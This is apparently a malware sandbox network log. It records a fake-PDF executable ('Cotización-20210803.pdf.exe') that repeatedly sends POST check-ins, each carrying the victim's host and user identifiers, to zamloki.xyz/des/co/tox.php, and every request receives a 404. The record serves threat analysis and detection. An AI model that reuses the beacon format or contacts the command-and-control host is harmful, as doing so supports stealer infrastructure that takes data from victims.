Aug 4, 2021 13:56:35.450942039 CEST	6044	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:35.467813015 CEST	6045	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:35.709728003 CEST	6045	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t%2FOWAtCtfEjGWuWgQbJHSAc1m3B7eLd93Xx0%2FD07wbXlc8G3XWB%2BKYOP%2FafiplyPc20iq2EGdaEV%2BMyCqysmSxbe8ubPc5V9ryLQOoF1wQDuP7049pWO3VfoRiuwsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a719b9b4ab6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49793	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:35.954932928 CEST	6046	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:35.971832037 CEST	6046	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:36.204238892 CEST	6047	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bVdJGw9mUj%2BE73vQy8i2Uuy8va%2BDL0Fa3W488s1M%2FWEaRehdMQGBjJsfLSL%2F43LbLLddj8INJ8qqTZkevKXBAaP4xV%2B1tmAOACEnO78FlPrnzdkEy5vGjB%2BR4HOSrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a74cc134ab0-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49794	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:36.475713015 CEST	6048	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:36.496643066 CEST	6048	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:36.777314901 CEST	6049	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K8PG8zthgB4HfV%2F90fo7didAbc7TSHdqN7BnXLoVDjr0SBdsYjuXaLsSUOtcMNA%2FoM02BSNsxD%2F6avQ0qGq%2B71gI%2B2LPjHU2ND9jQ964CnlVdezXxwos%2FBVaB7DFHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a780a4e4414-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49795	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:40.055160046 CEST	6050	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:40.072721958 CEST	6050	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:40.315257072 CEST	6051	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=E5XD8FKQEfO24frjT1SQoQ8PvH5P5txF72cxyJ4Bk3WqDJdC9MK5EJNAj1EhIreqmbmOo9BOOxFzj5SoO5LPJ20rEfCk3ZzF3MmuHZhhJqOQGAJi7M3HTIcdezSwIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a8e6a224a80-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49720	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:55.230170965 CEST	1416	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:55.246905088 CEST	1416	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:55.490798950 CEST	1417	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:55 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=05ZOXoGaQg2KPXyTlaF42wh2dcwYMPOWfiWPW75AUjesgff7RXURsWZMmY%2FkXnTN8g3JP8kihZ4jawb99h%2FxWHYpsOlrQJ7nILbB5KOuBcjWiafKv0PwiOTKNo9FIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797997639574ac2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49796	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:40.590625048 CEST	6052	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:40.609368086 CEST	6052	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:40.854363918 CEST	6053	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dbDfadY7apml1rE1Uh9N5jaZnu5nc5kd7UORYnnhQIg7Fqj9WuMLvKrhxrLo3Iy%2FulUnsah702KFRF%2Be7K7HNLT5SLY83S4%2B7mC3fMoAwduN1ankTN%2Fe8O%2FUFz390Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a91ba324e3e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49797	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:41.094516039 CEST	6054	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:41.113538980 CEST	6054	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:41.368243933 CEST	6055	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mZrwLkrO0PMlxZzXPIytPplgVgMxGsigkfpor8281rZfjPWQPbCIFKxfB6lvuPKcw9ZiTRMxSHMC78y8u65V5zG%2BZSOrtRUlp%2FGs56V%2FG3CWxlT6bQW62w3htAxZsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a94ec954e4f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49798	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:41.610622883 CEST	6056	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:41.627846956 CEST	6056	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:41.870914936 CEST	6057	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rdX%2FA%2Bf2PeiccK45KNW5sBDLgjKvd4cZAoWUTO0jEBHsXH5E9bgAjRDomnZYLBi0p1PcrSQv%2BcZOQWnvso9HioxyB3%2B7d0CaDJM0Yfp%2FIt1b0f76WjA2ivuUC42czQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a981eac2b59-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49799	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:42.119364977 CEST	6058	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:42.138760090 CEST	6058	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:42.403683901 CEST	6059	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JzBXnPzni31J4lxZpnwtYdPXpSgWsyW6hvt04ysAA0E2gdkG%2Fm01e8SVZ%2B48nSPs6Na8F6zgS%2FJHyp7yBaCJZMdpxk2PtzMepbszumOQQ0BgV9UqSKGeXQSzlCILtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a9b496f2c01-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49800	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:42.634718895 CEST	6059	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:42.651897907 CEST	6060	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:42.916326046 CEST	6060	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KUUJjhy8uI8LNHjtT4ZKgHSEQi5qtFJdNqcYuvVdrYgBc40dz%2FIKu0R9vDxp9L36%2FeEpemG7erYPx0YsTxXqtta%2BfgkfPRquWBnJlplc52LKYEysz3o8%2BOKsPbxqcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a9e8b932484-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49801	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:43.156431913 CEST	6061	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:43.174913883 CEST	6062	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:43.465104103 CEST	6062	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WEHMuP7v0KZ1n5vs1yoadaiXX6ZiUVBOFXoRCwcXmKpRfivx7Gx9vtyLy%2B9wPaB3ipDVHgSx39bALNf8zAFfhpMCYQLr7R%2FfL2j5CSSwA7ALuE54HHctZ3EKgaZeIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aa1ca3b4a9e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49802	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:43.709604979 CEST	6063	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:43.726866961 CEST	6063	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:43.996556997 CEST	6064	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i5M2y6aAFQEf2pFMrl%2FGnalYEXq2SVlAjIGaBRq5wHrPwD6zKwG2bwUMe3pGH%2FG3X4ErETcW%2FFIlWgShsyQIBrsN1cCt3xPEbtOTAjOeX3INl12OeoMywDaqGhnqaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aa53a0a0ebb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49803	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:44.220294952 CEST	6065	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:44.239041090 CEST	6065	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:44.493273973 CEST	6066	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H7LPqtfgIVILSKO1NGxF6SvXsfms%2FlsDhEZ%2F2zLhyd0tGTvTv42zIkleoVSWyUZsPpIcHoYOKxOeAIL13mytE3IVMYHt8iqKlV2hrmsaWn3uRxY6lnKyYTzcN6gU7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aa86aae05d4-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49804	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:44.720383883 CEST	6067	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:44.738248110 CEST	6067	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:44.977229118 CEST	6068	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0Wt4pwaskn89LvmqomAsQ8nZkGVJb45e0Y5OrpJRKzGf0p2UMfqDNcxrehErVKDEm5bS6U4x5uImxe64b5AfescBuEaonsXTKFySQ4yrxX8WKd5rCHGMP%2BfpWkJQew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aab8af32bf6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49805	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:45.227924109 CEST	6069	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:45.244949102 CEST	6069	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
